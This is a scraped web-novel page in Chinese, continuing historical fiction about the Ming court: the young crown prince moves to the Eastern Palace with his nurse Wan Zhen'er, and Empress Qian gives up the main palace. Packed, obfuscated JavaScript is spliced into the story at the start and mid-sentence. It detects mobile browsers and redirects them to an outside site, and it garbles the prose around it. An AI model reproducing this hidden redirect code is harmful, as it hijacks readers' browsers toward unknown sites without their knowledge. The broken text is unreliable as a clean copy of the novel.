RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015900|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暖阁亦是堆满了各色果子点心堆,除夕夜宴,万贞儿与王月妞一起陪着小太子入席。 周盼儿也来得极早,盯着宫人给小太子好生换上衮龙袍,先至席位上等候。 两位皇后几乎是同时到的。 因是家宴,并没有穿大礼服,而是皇后常服。差不多的花样,只是颜色略有区别。但汪皇后与钱皇后同时出现,穿着的效果全然不同。 汪氏素来老成持重,眉目间有刚毅之色,因此穿着皇后常服,格外仪态端庄。而钱氏…… 万贞儿的目光从钱娘娘身上一掠而过,心中叹息。 太瘦了。 这几月,钱娘娘实在瘦得太多,以至于原本合体的皇后礼服穿在她身上,显得空空荡荡。瞧着让人心生怜意。 就连原本存了几分看戏心思的周盼儿,也有些惊了。这一向钱氏将自己深锁于坤宁宫内,几乎足不出户,所以周盼儿也好久没见她。此刻望着钱氏那空荡荡的礼服裹着的憔悴身形,眼神也有些不忍。 周盼儿抿了抿嘴,心想何必呢?事已至此,何必自苦。折磨的不过是自己罢了。 不过虽然形容消瘦,但钱皇后的仪态依旧无可指责,端的是中宫风范。 人已到齐,新帝朱祁钰同孙太后说了几句吉祥话,请孙太后宣布开宴。 宫乐响起,依礼依次敬酒。 新帝后仍尊敬着钱皇后,在向孙太后敬酒之后,也向她敬酒。 钱皇后持杯起身,轻声道:“新岁将至,辞旧迎新,我有一言想说。” 朱祁钰脸色微变,想起上次宴席钱皇后哭求,怕她又来一次。 只是这次钱皇后并没有哭泣,连脸色都很平静。 “坤宁宫乃中宫正殿。我德行有亏,未能辅佐好上皇,实在有愧,无颜再居正位。请陛下与皇后娘娘恩准,容我移宫别居静修,为陛下、太后以及上皇祈福。” 她竟主动提出了移宫。 朱祁钰与汪皇后对视一眼,彼此各有感慨。 汪皇后劝了两句,但是钱皇后心意已定,很坚持。最后都望向了上首的孙太后。 孙太后却若无其事招手:“长哥儿过来。” 然后将小太子拥在怀中,喂他吃了一块鹿肉。 殿中极静,只有孙太后搁下筷子的声响,她仿佛才察觉到一般,抬头往前朱祁钰、汪皇后。 “怎么了?都愣着,不用酒菜。” 朱祁钰笑了笑:“皇嫂方才说,想移宫,我们正劝呢。” “哦,原来是这事。”孙太后搂着小太子,微笑道,“她既然想清净些,就允了吧。新年新气象,年号都改了,这又有什么。” 她的目光静静落在朱祁钰身上,嘴角弯着,眼睛里可没有笑意:“这样也好,新岁将至,皇帝居乾清宫,皇后居坤宁宫,我们太子呢则入住东宫。各居正位。” 朱祁钰温和地笑着说:“是呢,这样也好。” 更漏滴答作响。 子时至,属于景泰元年的新春来了。 23. 移宫 景泰元年,听起来真是一个陌生的年份,万贞儿心想。 自打她进宫记事起,年号就是正统,这一下子换了年号,总是不惯,尤其是给小太子的物件列清单时,落笔差点又写成正统,幸亏回过神来,换成了景泰。 将这一箱物件造册录好,万贞儿招呼着宫人将东西抬到东宫去。 整个正月,都在忙移宫之事。为使东宫不至于过于冷清,孙太后又开了一回内库,从里头挑了好些珍贵家具、稀奇摆件,让人统统送到东宫去。既然送过去,便归属于东宫,得造册存档,万贞儿便忙着这事。 看了皇历,择了吉日移宫。 是极好的一个晴日,初春时节,日光从大敞着的门扇投入。万贞儿叮嘱完宫人内侍将最后一箱要搬去的家私抬出去,走到暖阁去,请小太子移步。 小太子坐在塌上,手边堆着好些玩具,但是玩得并不尽心。这个拿起来摸一摸,哪个拿起来瞧一瞧,又丢开。总之是心神不定的样子。 万贞儿轻轻走过去,道:“小爷,该移宫了。” 小太子没有立刻回她,仿佛听不见一般。 直到万贞儿第二次提醒,他仰起小脸,脸上是有点不高兴的神色:“又要换地方。” 从周妃的宫殿,到孙太后的清宁宫配殿,中间还出宫避了一回难,如今又要移到东宫去。约莫半年的功夫,这孩子已经换了三、四处地方。就是对大人来说,这样频繁的换住处都足骨令人心烦,更何况是小孩子,简直有些算得上颠沛流离。 万贞儿心里有些为他感到酸涩,但是没法子,移宫自然是有移宫的道理。这是太后所命,不得不从。 她蹲下来,视线与小太子平齐,以一副轻松的样子浅笑道:“嗯,奴婢陪着您呢。奴婢在新的宫室藏了好吃的,看小爷能不能找到。” 小太子微微提起些兴趣:“我当然能找到。” 说着,自己爬下榻,旁边的王月妞想要抱他,他不肯,偏要自己走。 “我自己走。”小太子道,一溜烟走出殿去。 先到正殿给孙太后请安,虽然仍是在紫禁城之中,但是东宫的位置更挨近前朝,也算是摆出了清宁宫,因此得先同孙太后拜别。 原本是要拜的,但小太子只略微弯了腰,孙太后便命左右宫人搀扶小太子。 “过来,皇祖母再好好看看你。” 小太子乖巧上前,任凭孙太后搂着,并说:“不想离开祖母。” “祖母又何曾舍得你。”孙太后叹息了一声,“你还是能时常过来这里,配殿你的床榻玩具都放着没动,只是到底还是得移居东宫。” 孙太后正色道:“你虽然年幼,但是既然是太子,就该居东宫。满朝文武都得知道东宫有位太子。” 这话对于小孩子来说,略微有些绕。小太子似懂非懂点了点头。 孙太后笑了笑,抬眼看向万贞儿和王月妞:“你们在那边,好生伺候。有任何不妥之事,立刻报来,使我知晓。” “奴婢知道。” 万贞儿与王月妞齐声道。 别了太后,一行人围着小太子,浩浩荡荡向东宫去。 其实远倒也不很远,只是有几重宫门拦着,需绕一下方才见到象征东宫的青色琉璃瓦。 小太子走得很快,万贞儿紧紧跟着,连带着这些宫人也有些赶。 等到了东宫宫门,小太子才终于驻足,指着正中的文华殿道:“那天元旦朝贺就在这里。” 现在这空旷的前殿里,那时候站了好多人,黑压压一片。 他被宦官引领坐在宝座上,回头看看,熟悉的姑姑和乳母全不在,只觉得怎么坐都不舒服,站起来要走,引赞官喊了一声什么,这些人就齐齐跪下。 小太子本来要走开的,为这声势所震,驻足观看,感觉奇特。只是年纪尚幼,寻不到什么贴切的词来形容。 这时候他又想起了这事,回头诉说时,瞧见万贞儿与王月妞都很认真地听,于是情绪又好了些。 至少她们还在,有熟悉的人在身边,陌生的宫殿也就不是全然陌生的地方。 意识到这一点,小太子不再闹变扭,转而在东宫的宫殿里寻找起万贞儿说的宝藏来。 她竟然藏了麦芽糖! 都被他找出来了。 小太子吃着甜滋滋的麦芽糖,心情又愉快起来。 太子移宫之后,作为叔叔婶婶的皇帝皇后各自派人来访,祝贺太子迁新居,并且赠上贺仪。其余妃嫔也各有表示。 东宫的管家婆子,也是孙太后钦点的老宫人韩桂兰瞧过了礼单,转而将礼单递给万贞儿,耐心道:“你看看,能看出什么。” 万贞儿仔细看了,道:“皇爷与汪娘娘看重太子。” 皇帝皇后的这份礼不可谓不厚。 韩桂兰道:“还有呢?” 万贞儿犹豫了一下,见四下无他人,轻声道:“杭娘娘富贵。” 说的是皇帝的侧妃杭氏,名分既定,皇帝原本的内宠也将入宫来,各自封赏。 这位杭氏因育有今上的长子朱见济,地位超然。从这给东宫的贺仪就可以看出,她的礼竟然和汪皇后的也差不了多少。 “你得多看多思。”韩桂兰道,“太后看重你,我也如此。你是年轻人,能陪着太子更久些。太子年幼,他暂时想不到的地方你需先想着,可明白。” 万贞儿点点头:“贞儿明白。” 她们是拿她作为东宫未来的管家婆子人选来看待的。 这倒也并没有什么不好,万贞儿心想。太子年幼,她陪着他,护着他,待到有朝一日太子登基,那么她也是妥妥的有功之臣。明宫对待太子的养育宫人一向恩重,像先帝的养育宫人,可以封为诰命夫人,赐号,如佐圣夫人。品级上位比外命妇中的一品夫人,十分受人尊敬。 小太子心底纯良,到那时候她求一求情,道想要出宫养老,定然是会答应的,养老银总也少不了。这样她就既有诰命,又有银两,还能到宫外去瞧一瞧。 这样的未来,倒也很好。 心里有了期冀,万贞儿便更用心得跟着韩桂兰学习如何料理宫务,照料小太子也越发用心。 春末,太上皇的皇妃皆已迁居太后宫室之后,将原本的宫室腾了出来,新帝的诸位皇妃的册封已定,杭氏被封为贵妃,即将入宫居住。 新帝的皇后汪秀英在接诸妃进宫的懿旨上用了印,看春光尚好,便打算去看看皇嫂钱氏。 春末的紫禁城,天气已经暖和了许多,不必穿皮袄。后苑的桃树桃花已尽落,倒有青涩的小果掩映枝叶间。 汪秀英在宫人的陪伴下慢慢向钱氏宫中走去。自从搬离坤宁宫,钱氏就改居关雎宫,在清宁宫附近。其实这里本不是为一位皇后预备的居所,从前是选秀女时使人暂住,或者养暮的太妃居住。与中宫的坤宁宫相比,显得小巧幽静。 到宫室时,钱皇后正在窗下做针线,听见通传声站起来。 汪秀英见状快步走过去,赶在钱氏行礼之前,先向她行了一礼,一如从前上皇还在宫中时。 “嫂嫂莫要折煞我,我做弟媳的不可受您的礼。” 钱氏浅笑:“罢了,日后懒得论这些礼数,就当是平礼。” “如此正好。”汪秀英扶着她坐下,自己也在塌上坐下,目光扫过她手中的绣绷。 “嫂嫂的绣工越发精进了。”汪秀英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021149|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞道。 “闲着无聊,乱绣而已。喝茶。” 宫女捧来茶盏,汪秀英接过茶,道了声谢,喝着茶,打量了一眼钱氏的新居。殿里陈设极其简单,都是半新不旧的陈设,什么摆件都没有。原因么,汪秀英也能猜到,这位皇嫂几乎把值钱的玩意儿分批次都托人送到了北边,试图作为太上皇的赎金。 汪秀英搁下茶盏:“嫂嫂也该爱惜自己的身子,您还是这样瘦。” “多谢惦记,我好多了。”钱氏道,“倒是你,刚入主中宫,诸事繁杂,要多保重才是。” 汪秀英抿嘴笑了一笑:“确实忙了一阵,没能来瞧您,得了空立刻来了。” 钱氏猜测到了几分,闲话道:“看来你府里的那些人要进宫了。” “嗯,都有了封号,宫室也定好了。” “我仿佛记得有个杭氏,生了长子的那位,封了什么。” “贵妃。”汪秀英道。 钱氏垂下眼眸,想了一想,缓缓道:“你常遣人关怀我,我都知道,我心里也是盼着你好的。杭氏,她膝下已有一子,如今又封了贵妃,你作为中宫,还是得多留份心。” 汪秀英明白她的意思,但并不担心,直道:“嫂嫂多虑了,从前在府里,杭氏是很懂分寸的,我在,她就为我打帘子,从来不多事。” “你也说了是在府中,可是,这是宫里。”钱氏叹息道,“也罢,许是我多嘴了,你莫在意。” 妯娌俩又闲絮了一会儿。她俩娘家背景相似,都是武职出身,因此许多事多有共感。聊起来也算畅快。一坐竟然坐了两个时辰,眼看快到晚饭时辰,钱氏本想留汪秀英用饭的,谁知新帝身边的宦官张芮竟然来了,笑嘻嘻道:“皇爷使我告娘娘,陌上花开,可缓缓归。” 这话说得文绉绉的,却带着特有的,藏不住的亲昵。 当着皇嫂的面,汪秀英有些耳热,抱怨道:“又说些什么乱七八糟的话,知道了,就回去。” 这个人,当着外人从来都是温文尔雅的,就喜欢逗她。 回到坤宁宫时,已是上灯时分,许多盏灯亮着,发出温暖的黄光。 坤宁宫里,朱祁钰正坐在桌前,捏着一枚白玉棋子看残局,听闻通传声,笑道:“你再不来,我可给这残局换子了。” “你敢。” 汪秀英瞪他一眼,兀自在他对首坐下:“我快赢了。你若耍赖,往后再不与你下棋。” “是,是,是,秀英最厉害。”朱祁钰笑眯眯道,“怎么出去了那么久,我都等到饿了。” “那就先让传膳。” “我想和你一起吃。” “哼,贫嘴。” 汪秀英终于忍不住笑了,轻轻推了他肩膀一下。这亲昵的小动作让朱祁钰笑得更开怀。 他就爱看她这模样。毕竟在人前她都是端庄肃正的大家闺秀。只有在他面前,才会露出这般鲜活的带着小女儿娇态的神态,这神态是他的专属。 叫人传膳,摆了满满四张膳桌。 两人并肩坐着,朱祁钰问:“和嫂嫂聊什么聊这么久?” “一些妇人间的话罢了。”汪秀英道,“说起宫务的琐事,我问了她册封仪之类的。还有贵妃的居处、宫人要多少合适。” 她想到方才钱氏的话,故作轻松道:“要是我没安排好,你不是要怪我?” “怪你?”朱祁钰像听到什么笑话一般,“想什么呢,你是我的妻。那些都是妾,哪能相提并论。” 他夹了一块儿鸭脯递到汪秀英碗中:“你放心,没谁能越得过你去。” 汪秀英抿嘴笑了笑,吃下了那块鸭脯:“好,我记着了。” 她相信他。